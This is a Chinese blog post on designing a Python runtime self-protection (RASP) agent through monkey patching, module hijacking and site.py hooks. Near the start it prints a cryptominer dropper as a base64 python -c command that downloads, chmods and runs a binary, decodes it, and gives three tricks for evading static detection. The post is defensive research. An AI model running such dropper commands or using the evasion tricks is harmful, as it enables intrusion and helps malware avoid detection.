前言

今天讲的内容会很深,包括一些 Python的高级用法和一些自己创造的黑科技,前半部分内容你们可能听过,后半部分内容就真的是黑科技了。。。

深入的研究和思考,总会发现很多有意思的东西。每一次的研究,都不会是无缘无故的,下面开始我们今天的故事。(注意文末有花絮

Tips: RASP,全称应用运行时自我保护解决方案,可以简单理解为部署在应用环境的监控防御程序。

万事有因果

本次的研究 来源于 对一次入侵手法的思考,众所周知,在linux主机上,挖矿木马比较流行。现在挖比特币的相对少了,又有挖门罗币的。这些木马的植入不会说直接传文件上去,这样动作太大,更多的是通过执行shell命令,远程下载文件并执行 。以如下情况为例,很特别,这是一个通过Python命令植入的挖矿木马:

python -c 'exec("aW1wb3J0IG9zOyBpbXBvcnQgdXJsbGliOyBoZCA9IHVybGxpYi51cmxyZXRyaWV2ZSAoImh0dHA6Ly8xMjcuMC4wLjEvanAvam0iLCAiL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiY2htb2QgK3ggL3Zhci90bXAvc3ZyIik7IG9zLnN5c3RlbSgiL3Zhci90bXAvc3ZyIik7".decode("base64"))'

通过base64解密之后的内容(ip脱敏了):

import os; import urllib; hd = urllib.urlretrieve ("http://127.0.0.1/jp/jm", "/var/tmp/svr"); os.system("chmod +x /var/tmp/svr"); os.system("/var/tmp/svr");

通过base64隐藏真实代码是一个常用的方式,不能说这样做很高明,这条命令特征相对还是比较明显了。

现有的防御办法是静态分析,通过抓取Python 进程参数,匹配关键字,比如exec,decode,base64 就会很容易发现。但是如果咱们脑暴一下做一次静态策略绕过,你会发现静态分析是多么的脆弱。

1.绕过 base64

"base64" = 'case64'.replace('c','b') = '1base641'[1:7]

2. 绕过decode (或者直接不用编码)

str.__dict__["dec"+"ode"]('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo=','base64')

3.终极绝招(妙用管道,让你抓不到Python参数)

echo "exec('aW1wb3J0IG1hdGg7YT0xMDtiPW1hdGgubG9nKGEpO3ByaW50KGIpOwo='.decode('base64'*1))" | python

相信到第3步,静态分析已经穷途末路,你连数据都没有了。

这3次绕过是想说明一个问题,Python语言很灵活,尤其和shell结合后,静态分析这条路已经解决不了实际问题。

问题出在哪呢?问题出在Python语言本身,语法的灵活对静态分析是致命的。我总结了这么一句话,大家可以回味一下:

当字符串可以当作代码执行时,静态分析的尽头也就到了

那该怎么解决呢?从Python语言本身出发,监控整个Python的动态行为,这就是Python RASP。

研究Python RASP值不值得花时间呢? 你只需要知道每个linux主机上都会预装Python环境,你就知道它的威胁了。

说实话,有开源的PHP RASP,JAVA RASP,还真的没有Python RASP,下面的研究完全是一个摸索的过程。

在研究的过程中,我碰到两次僵局,穷途陌路之感,差一点以为Python RASP 不能发挥很大的作用。

Monkey Patch 与 依赖注入

Python RASP的行为监控,简单来说就是hook关键函数,将函数的参数和返回值,送回策略进行过滤。

(1) Monkey Patch

说到hook,首先想到的是Monkey Patch这种方法,对于Python的理念来说,一切皆对象,我们可以动态修改Python中的对象。举个例子:

在主函数中,修改open内置函数,给open添加的了日志打印的功能。运行效果如下,成功的打印出了日志:

函数调用顺序如下:

open('1.txt','r') ->__call__ ->_pre_hook  -> post_hook -> return

但是你有没有发现问题,也就是说我们需要将hook代码添加到用户代码之前,这不现实

现有业务中这么多项目,这么多脚本,每个项目的代码,我都要改的话,我猜业务同学会杀策略祭天。因此Monkey Patch 这种方式暂时放弃了,换个思路。

 

(2)依赖注入

 

如果大家之前做过dll劫持,有一种方式是根据dll加载顺序的先后进行劫持的,同样python中我们也可以用这种方式来做。以import os为例,Python是如何找到os模块呢?搜索顺序如下:

当前目录 -> $PYTHONPATH -> Lib库目录 -> site-package 第三方模块路径

我们要利用的就是$PYTHONPATH环境变量指定的目录,在这个目录下,新建os.py文件,import os就不会去 Lib库目录 中查找模块,从而实现了劫持。 我们既可以劫持函数,也可以劫持类。

 

2.1 劫持os模块下的system函数

 

首先在当前pythonpath路径下创建os.py文件,然后重载一下os模块,最后使用_InstallFcnHook改变system。

2.2 劫持socket模块下的_fileObject类

劫持类,我们需要用到Python中元类的概念。元类就是用来创建类的类,函数type实际上是一个元类。

元类的主要目的就是为了当创建类时能够自动地改变类,使用元类来劫持类再合适不过了。需要用到的主要方法和属性如下:

  • __metaclass__:你可以在写一个类的时候为其添加__metaclass__属性, Python就会用它来创建类。__metaclass__可以接受任何可调用的对象,你可以在__metaclass__中放置可以创建一个类的东西

  • __new__:是用来创建类并返回这个类的实例

  • __call__:任何类,只需要定义一个__call__()方法,就可以直接对实例进行调用,用callable来判断是否可被调用

  • __getattribute__:定义了你的属性被访问时的行为

劫持fileObject类,首先在当前pythonpath路径下创建socket.py文件,然后使用_installclshook动态修改此类,当访问_fileobject的属性方法时,返回到_hook_writeline 和 _hook_readline。

依赖注入这种方法,有一个很大的缺陷,就是内置模块中的类和函数没办法劫持。以__builtin__内置模块为例,这个模块是Python虚拟机中内置的,在虚拟机启动之前就已经加载完毕,不会再去pythonpath中去查找,常见的open函数,decode函数都是没办法劫持的。

虽然使用Monkey Patch能解决,但是依旧有上面所说的原因,没办法工程化,这就很苦恼。

破局 到 再次入局

出现僵局总得解决,有一点可以确定的是 Monkey Patch 可以hook内置函数,那要解决的问题就是如何让hook代码永远在在用户代码之前运行,这样我们的hook才能有效控制函数调用。

脑洞大开

在用户代码运行之前是谁运行呢?肯定是Python虚拟机先运行。如果Python虚拟机启动的过程中,预加载了一些模块,你把我们的代码插入这些模块中,不就可以比用户代码先运行了!!!

有时候真的是需要脑洞,事实证明我走对了。网上所有关于monkey patch 的资料,都是在教你修改用户代码,添加hook函数,实现动态修改,这种方式还真没有,可以加个鸡腿了

脑洞开完之后,下面就需要进行苦逼的分析,你要分析Python虚拟机的初始化过程,必须要看Python源代码了。我就不带大家看代码了,给出一个Python虚拟机模块大致的加载过程。

Python虚拟机在设置模块路径时,其中的第三方模块路径是加载site.py模块进行设置的。Python源码部分如下:

以Windows py2.7为例,打开D:\Python27\Lib目录下的site.py文件,将我们在第二节中的hook代码 引入到文件末尾即可,这样无论运行什么样子的用户代码,都会首先加载我们的hook代码

本以为到此就结束了,可是才发现刚刚入坑而已。因为就在我打算hook内置 __builtin__模块str类的decode时,出现了异常。

google了一下异常信息,得出一个结论:Monkey Patch可以修改内置模块中的函数,但是没办法修改内置模块中的类属性,比如str的decode函数就没办法了。

其实到这就可以结束了,因为大部分模块,我们都可以hook住了,但是感觉有缺憾,不够完美,还是有漏的,束缚了RASP的能力,因此又有了接下来的黑科技,开脑洞吧。。。

脑洞黑科技

这时候能用的技术都用完了,真是穷途末路了。。。需要点灵感!!!

脑洞时间

之前写java程序的时候,使用过JNI技术,也就是java的C接口,很多java做不到的事情,使用C接口就可以做到,还可以访问java对象。联想到Python Monkey Patch失败的问题,很有可能是在Python层做的禁止,是否可以通过Python C API操作对象呢

每一个类对象都有一个__dict__,里面包含着每个类的属性信息,例如如果我们想从str取出decode函数,可以这么干:

str.__dict__["decode"]

因此咱们只要获取__dict__属性,对这个属性进行修改,就可以达到替换的目的。咱们使用C API来获取:

通过patch_builtin函数,我们就可以获取__dict__对象,然后使用setattr和getattr修改属性即可,由于我们不改变原有的函数,只是收集日志,所以基本上对虚拟机运行没有影响。最后实验一下效果:

到此为止,Python RASP的所有的技术点都结束了。。。呼吸一口新鲜空气。。。

亦正亦邪

技术点结束了,下面就需要落地了。Python RASP整体分为两部分:Agent和Server,Agent负责hook函数,收集函数日志,并发给Server,Server负责处理日志数据,并制定相应的策略进行过滤报警。

在落地的过程中,有以下问题需要注意:

  1. 数据压制:Agent在采集函数日志的时候,因为很多Python程序都是做周期性任务,重复数据会很多。

  2. 兼容性: Python RASP 对于Py2和Py3要进行兼容性处理。

  3. 自保护:其实对于Python RASP有很多逃逸的方式,对此我们要进行加固,下一篇我们会讲解逃逸和加固。

在设计策略的过程中,注意收集一些执行命令和网络的函数,在下一篇我会列举出来。

大家有没有想过Python RASP中使用的技术,是不是特别像木马后门。这可能就是所谓的技术本没有好坏,看你怎么用罢了

最后

关注公众号:七夜安全博客

  • 回复【1】:领取 Python数据分析 教程大礼包
  • 回复【2】:领取 Python Flask 全套教程
  • 回复【3】:领取 某学院 机器学习 教程
  • 回复【4】:领取 爬虫 教程
  • 回复【5】:领取 编译原理 教程
  • 回复【6】:领取 渗透测试 教程
  • 回复【7】:领取 人工智能数学基础 教程
本文章属于原创作品,欢迎大家转载分享,禁止修改文章的内容。尊重原创,转载请注明来自:七夜的故事 http://www.cnblogs.com/qiyeboy/
 

Python RASP 工程化:一次入侵的思考的更多相关文章

  1. python 对象/变量&赋值的几点思考

    python 对象/变量 对象 Every object has an identity, a type and a value. An object's identity never changes ...

  2. python学习之面向对象程序设计的一些思考

    将属于一类的对象放在一起: 如果一个函数操纵一个全局变量,那么两者最好都在类内作为特性和方法实现. 不要让对象过于亲密: 方法应该只关心自己实例的特性,让其他实例管理自己的状态. 简单就好: 让方法小 ...

  3. Python入门 五、学着机器思考

    正则表达式(1) import re text = "Hi,I am Shirley Hilton.I am his wife." m = re.findall(r"hi ...

  4. [Effective Python] 用Pythonic方式来思考

    Effective Python chap.1 用Pythonic方式来思考 Pythonic: 一门语言的编程习惯是由用户来确立的. 1. 确认自己所使用的Python版本 2. 遵循PEP8风格指 ...

  5. Python、R对比分析

    一.Python与R功能对比分析 1.python与R相比速度要快.python可以直接处理上G的数据:R不行,R分析数据时需要先通过数据库把大数据转化为小数据(通过groupby)才能交给R做分析, ...

  6. python基础之函数

    python 函数 函数是组织好的,可重复使用的,用来实现单一,或相关联功能的代码段. 函数能提高应用的模块性,和代码的重复利用率.你已经知道Python提供了许多内建函数,比如print().但你也 ...

  7. python脚本基础总结

    1. 注释 ①单行注释:#单行注释 ②多行注释: ''' 三个单引号,多行注释符 ''' ③中文注释:#coding=utf-8 或者 #coding=gbk 2.输入输出 ① 输入:  3.0后的p ...

  8. Python入门笔记(5):对象

    一.学习目录 1.pyhton对象 2.python类型 3.类型操作符与内建函数 4.类型工厂函数 5.不支持类型 二.思考 1.Python解释执行原理? 2.Python对象机制? 3.Pyth ...

  9. python基础——函数的参数

    python基础——函数的参数 定义函数的时候,我们把参数的名字和位置确定下来,函数的接口定义就完成了.对于函数的调用者来说,只需要知道如何传递正确的参数,以及函数将返回什么样的值就够了,函数内部的复 ...

随机推荐

  1. 检测到在集成的托管管道模式下不适用的 ASP.NET 设置

    system.webServer节点下加上 <validation  validateIntegratedModeConfiguration="false" />

  2. 一个服务器多个tomcat的配置

    下面我们把配置的详细过程写在下面,以供参考:(此例以配置三个Tomcat为例)1. 下载apache-tomcat-7.0.63,下载下来的文件为apache-tomcat-7.0.63.zip.2. ...

  3. 李嘉诚 《Are you ready》

    当你们梦想着为伟大成功的时候,你有没有刻苦的准备? 当你们有野心作领袖的时候,你有没有服务于人的谦恭? 我们常常都想有所获得,但我们有没有付出的情操? 我们都希望别人听到自己的话,我们有没有耐性聆听别 ...

  4. Go语言学习笔记(四)结构体struct & 接口Interface & 反射reflect

    加 Golang学习 QQ群共同学习进步成家立业工作 ^-^ 群号:96933959 结构体struct struct 用来自定义复杂数据结构,可以包含多个字段(属性),可以嵌套: go中的struc ...

  5. Gitkraken的使用

    一个优秀的团队合作离不开git,一个优秀的程序员也离不开git.gitkraken是我在进行软工实践这门课接触到的git的UI界面的工具,它给我留下的印象就是非常好用和方便 怎么个方便法呢? 方便的安 ...

  6. 小米3系统计算器自己定义开关控件-MySwitchView

    1.前言             在android4.0以后,有switch控件.相似于iPhone上面滑块的效果.可是仅仅能用在4.0以后的系统中.之前的平台.就无法使用这种控件. 近段时间.看到了 ...

  7. BZOJ3998:[TJOI2015]弦论(SAM)

    Description 对于一个给定长度为N的字符串,求它的第K小子串是什么. Input 第一行是一个仅由小写英文字母构成的字符串S 第二行为两个整数T和K,T为0则表示不同位置的相同子串算作一个. ...

  8. ES6标准入门之正则表达式的拓展

    所谓正则表达式,又称规则表达式.(英语:Regular Expression,在代码中常简写为regex.regexp或RE),计算机科学的一个概念.正则表达式通常被用来检索.替换那些符合某个模式(规 ...

  9. 【转】1.2 CDN的基本工作过程

    1.2  CDN的基本工作过程 使用CDN会极大地简化网站的系统维护工作量,网站维护人员只需将网站内容注入CDN的系统,通过CDN部署在各个物理位置的服务器进行全网分发,就可以实现跨运营商.跨地域的用 ...

  10. pycharm同步

    只有专业版的才能同步服务器 按照这个来:https://zhuanlan.zhihu.com/p/35067462 3.然后配置映射信息 local path是自己的工程的本地目录路径, Deploy ...